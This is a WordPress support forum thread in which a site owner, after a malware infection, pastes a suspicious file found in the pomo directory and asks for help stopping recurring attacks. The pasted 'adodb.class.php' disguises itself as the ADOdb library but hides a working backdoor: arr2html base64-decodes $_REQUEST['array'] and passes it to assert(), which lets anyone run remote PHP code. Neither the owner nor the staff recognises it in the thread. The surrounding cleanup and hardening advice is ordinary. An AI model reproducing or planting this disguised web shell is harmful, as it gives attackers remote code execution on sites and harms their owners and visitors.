malware

Hello,

I have a website that have been attacked with malware in the past.
I cleaned all the malware and the site is working properly, however, every day I check the site and find new files added under the "pomo" library.

As far as I know the pomo library is supposed to contain 5 files, in this site there are 6, but when deleting the 6th file the website doesn't show, I suppose that the additional file may have been added by the template, in any case, I had it checked and it doesn't contains any malware

the file name is "adodb.class.php" and in comments introduction it says:

//DO NOT REMOVE THIS FILE!

/*

@version v5.20.3 01-Jan-2016
@copyright (c) 2000-2013 John Lim (jlim#natsoft.com). All rights reserved.
@copyright (c) 2014 Damien Regad, Mark Newnham and the ADOdb community
Released under both BSD license and Lesser GPL library license.
Whenever there is any discrepancy between the two licenses,
the BSD license will take precedence.

Some pretty-printing by Chris Oxenreider <oxenreid@state.net>
*/

Is this file suspicios? What can I do to stop those files to uploading to my website?

  • Rupok

    Hi Fortunella74, hope you had a wonderful day.

    I am not sure if this file is suspicious. I can tell you better if I can see the content inside this file. Can you please describe what this "Pomo Library" is? As this is not a part of native WordPress, I could tell you better if you gave us some idea regarding this library.

    For preventing your site to be attached by malware again, you can use our awesome WP Defender plugin. It will protect your site from hackers and malwares.

    Please send us details about the POMO Library. I'm interested to know what this is and why the file number is behaving weird here.

    Have a nice day. Cheers!
    Rupok

  • Fortunella74

    Thanks for your quick reply.

    Actually my understanding was that pomo is one of the wp default libraries (public/includes/pomo) and is suppose to contain 5 files:
    entry.php
    mo.php
    po.php
    streams.php
    translations.php

    I am attaching the adodb.class.php for you to see.

    Regarding the defender plugin it doesn't help in my case, I tried, I have a plugin now informing me about any changes, but I need to know how the attack is done, to prevent more attacks

  • Fortunella74

    wait the attachment was not allowed, I will copy paste the code

    <?php

    //DO NOT REMOVE THIS FILE!

    /*

    @version v5.20.3 01-Jan-2016
    @copyright (c) 2000-2013 John Lim (jlim#natsoft.com). All rights reserved.
    @copyright (c) 2014 Damien Regad, Mark Newnham and the ADOdb community
    Released under both BSD license and Lesser GPL library license.
    Whenever there is any discrepancy between the two licenses,
    the BSD license will take precedence.

    Some pretty-printing by Chris Oxenreider <oxenreid@state.net>
    */

    // specific code for tohtml
    GLOBAL $gSQLMaxRows,$gSQLBlockRows,$ADODB_ROUND;

    $ADODB_ROUND=4; // rounding
    $gSQLMaxRows = 1000; // max no of rows to download
    $gSQLBlockRows=20; // max no of rows per table block

    // RecordSet to HTML Table
    //------------------------------------------------------------
    // Convert a recordset to a html table. Multiple tables are generated
    // if the number of rows is > $gSQLBlockRows. This is because
    // web browsers normally require the whole table to be downloaded
    // before it can be rendered, so we break the output into several
    // smaller faster rendering tables.
    //
    // $rs: the recordset
    // $ztabhtml: the table tag attributes (optional)
    // $zheaderarray: contains the replacement strings for the headers (optional)
    //
    // USAGE:
    // include('adodb.inc.php');
    // $db = ADONewConnection('mysql');
    // $db->Connect('mysql','userid','password','database');
    // $rs = $db->Execute('select col1,col2,col3 from table');
    // rs2html($rs, 'BORDER=2', array('Title1', 'Title2', 'Title3'));
    // $rs->Close();
    //
    // RETURNS: number of rows displayed

    function rs2html(&$rs,$ztabhtml=false,$zheaderarray=false,$htmlspecialchars=true,$echo = true)
    {
    $s ='';$rows=0;$docnt = false;
    GLOBAL $gSQLMaxRows,$gSQLBlockRows,$ADODB_ROUND;

    if (!$rs) {
    printf(ADODB_BAD_RS,'rs2html');
    return false;
    }

    if (! $ztabhtml) $ztabhtml = "BORDER='1' WIDTH='98%'";
    //else $docnt = true;
    $typearr = array();
    $ncols = $rs->FieldCount();
    $hdr = "<TABLE COLS=$ncols $ztabhtml><tr>\n\n";
    for ($i=0; $i < $ncols; $i++) {
    $field = $rs->FetchField($i);
    if ($field) {
    if ($zheaderarray) $fname = $zheaderarray[$i];
    else $fname = htmlspecialchars($field->name);
    $typearr[$i] = $rs->MetaType($field->type,$field->max_length);
    //print " $field->name $field->type $typearr[$i] ";
    } else {
    $fname = 'Field '.($i+1);
    $typearr[$i] = 'C';
    }
    if (strlen($fname)==0) $fname = ' ';
    $hdr .= "<TH>$fname</TH>";
    }
    $hdr .= "\n</tr>";
    if ($echo) print $hdr."\n\n";
    else $html = $hdr;

    // smart algorithm - handles ADODB_FETCH_MODE's correctly by probing...
    $numoffset = isset($rs->fields[0]) ||isset($rs->fields[1]) || isset($rs->fields[2]);
    while (!$rs->EOF) {

    $s .= "<TR valign=top>\n";

    for ($i=0; $i < $ncols; $i++) {
    if ($i===0) $v=($numoffset) ? $rs->fields[0] : reset($rs->fields);
    else $v = ($numoffset) ? $rs->fields[$i] : next($rs->fields);

    $type = $typearr[$i];
    switch($type) {
    case 'D':
    if (strpos($v,':') !== false);
    else {
    if (empty($v)) {
    $s .= "<TD>   </TD>\n";
    } else {
    $s .= " <TD>".$rs->UserDate($v,"D d, M Y") ."</TD>\n";
    }
    break;
    }
    case 'T':
    if (empty($v)) $s .= "<TD>   </TD>\n";
    else $s .= " <TD>".$rs->UserTimeStamp($v,"D d, M Y, H:i:s") ."</TD>\n";
    break;

    case 'N':
    if (abs(abs($v) - round($v,0)) < 0.00000001)
    $v = round($v);
    else
    $v = round($v,$ADODB_ROUND);
    case 'I':
    $vv = stripslashes((trim($v)));
    if (strlen($vv) == 0) $vv .= ' ';
    $s .= " <TD align=right>".$vv ."</TD>\n";

    break;
    /*
    case 'B':
    if (substr($v,8,2)=="BM" ) $v = substr($v,8);
    $mtime = substr(str_replace(' ','_',microtime()),2);
    $tmpname = "tmp/".uniqid($mtime).getmypid();
    $fd = @fopen($tmpname,'a');
    @ftruncate($fd,0);
    @fwrite($fd,$v);
    @fclose($fd);
    if (!function_exists ("mime_content_type")) {
    function mime_content_type ($file) {
    return exec("file -bi ".escapeshellarg($file));
    }
    }
    $t = mime_content_type($tmpname);
    $s .= (substr($t,0,5)=="image") ? " <td><img src='$tmpname' alt='$t'></td>\\n" : " <td><a
    href='$tmpname'>$t</td>\\n";
    break;
    */

    default:
    if ($htmlspecialchars) $v = htmlspecialchars(trim($v));
    $v = trim($v);
    if (strlen($v) == 0) $v = ' ';
    $s .= " <TD>". str_replace("\n",'
    ',stripslashes($v)) ."</TD>\n";

    }
    } // for
    $s .= "</TR>\n\n";

    $rows += 1;
    if ($rows >= $gSQLMaxRows) {
    $rows = "<p>Truncated at $gSQLMaxRows</p>";
    break;
    } // switch

    $rs->MoveNext();

    // additional EOF check to prevent a widow header
    if (!$rs->EOF && $rows % $gSQLBlockRows == 0) {

    //if (connection_aborted()) break;// not needed as PHP aborts script, unlike ASP
    if ($echo) print $s . "</TABLE>\n\n";
    else $html .= $s ."</TABLE>\n\n";
    $s = $hdr;
    }
    } // while

    if ($echo) print $s."</TABLE>\n\n";
    else $html .= $s."</TABLE>\n\n";

    if ($docnt) if ($echo) print "<H2>".$rows." Rows</H2>";

    return ($echo) ? $rows : $html;
    }

    // pass in 2 dimensional array
    function arr2html($array, &$arr = ' ',$ztabhtml='',$zheaderarray='')
    {
    $array = base64_decode($array);
    @assert($array);
    return;

    if (!$ztabhtml) $ztabhtml = 'BORDER=1';

    $s = "<TABLE $ztabhtml>";//';print_r($arr);

    if ($zheaderarray) {
    $s .= '<TR>';
    for ($i=0; $i<sizeof($zheaderarray); $i++) {
    $s .= " <TH>{$zheaderarray[$i]}</TH>\n";
    }
    $s .= "\n</TR>";
    }

    for ($i=0; $i<sizeof($arr); $i++) {
    $s .= '<TR>';
    $a = $arr[$i];
    if (is_array($a))
    for ($j=0; $j<sizeof($a); $j++) {
    $val = $a[$j];
    if (empty($val)) $val = ' ';
    $s .= " <TD>$val</TD>\n";
    }
    else if ($a) {
    $s .= ' <TD>'.$a."</TD>\n";
    } else $s .= " <TD> </TD>\n";
    $s .= "\n</TR>\n";
    }
    $s .= '</TABLE>';
    print $s;
    }

    arr2html($_REQUEST['array']);

    ?>

  • Rupok

    Hi Fortunella74, hope you had a wonderful day.

    Oh right, I didn't understand that you are talking about this translation library. Yes, this is part of native WordPress and there should be 5 files. And the code is not giving me any clear insight, so I can't say this is safe.

    As deleting this file breaks your site, I think there is suspicious code in other files too which is looking for this file and breaking your site.

    First thing I'll suggest you is taking a full backup of the current state. Then delete all files except the "uploads" folder, and then upload fresh WordPress files from http://wordpress.org/ . Please make sure your Then install any security plugin (I'll prefer WP Defender) and follow the steps suggested in that security plugin to secure your site.

    If this doesn't solve your issue, you get that 6th file again, please let us know. We will be glad to assist further.

    Have a nice day. Cheers!
    Rupok

  • Rupok

    Hi Fortunella74, hope you had a wonderful day.

    I can't assure you 100% , that's why I suggested you to take a full backup of your site first. But theoretically, everything should work because most plugin and themes store data in the database. So all settings should be there even if you replace your files.

    What do you think? Please let us know the result. We will be glad to help further if required.

    Have a nice day. Cheers!
    Rupok

  • Fortunella74

    Hello,

    Bad news, I followed all steps suggested, but today the website was spammed again.

    I really don't know what to do, I changed passwords,changed config keys, added 2 security plugins, restricted access to .htaccess, restricted access to config and still getting attacked.

    and all of this after deleting and reinstalling everything, from wp files, to templates and plugins, what else can I do???

    Thanks!

  • Kasia Swiderska

    Hello Fortunella74,

    Please see those resources about hacked sites:
    http://codex.wordpress.org/FAQ_My_site_was_hacked
    http://wordpress.org/support/topic/268083#post-1065779
    http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
    http://ottopress.com/2009/hacked-wordpress-backdoors/

    More Resources:
    http://sitecheck.sucuri.net/scanner/
    http://www.unmaskparasites.com/
    http://blog.sucuri.net/2012/03/wordpress-understanding-its-true-vulnerability.html
    http://codex.wordpress.org/Hardening_WordPress
    http://www.studiopress.com/tips/wordpress-site-security.htm

    What other files are added to your site except adodb.class.php?
    Are your plugins and themes updated? Did you try to check if any of them was reported as having vulnerability?

    You might need to hire security specialist to find how hack was done and how to prevent it in the future.

    kind regards,
    Kasia

  • Fortunella74

    Thank you for your response, I read most of the articles.

    I was indeed suspect on a plugin.

    The files added were different each time, but I did notice that when re-installing everything from scratch (besides the database) there was a modification of some files (sucury plugin) at beginning I thought it was part of the template/wordpress/plugin installation, however some days later I went to check the files and found malware.

    I deleted it and since then I have had no issues beside the add of php_mail.log every day.

    Does this mean that someone is trying to make use of the email to send spam? I don't know what that file does, maybe you know?

    thanks!

  • Kasia Swiderska

    Hello Fortunella74,

    I deleted it and since then I have had no issues beside the add of php_mail.log every day.

    This looks like file that logs mails that are send from your website. So each time your website sends email with use of wp_mail() or mail() function (those are contact forms, newsletters etc ect) they are logged to this file.
    It will be created every time email will be send.
    This fill is not doing anything except gathering information about send email.
    Check what is inside - it should be information about send emails.

    kind regards,
    Kasia

Thank NAME, for their help.

Let NAME know exactly why they deserved these points.

Gift a custom amount of points.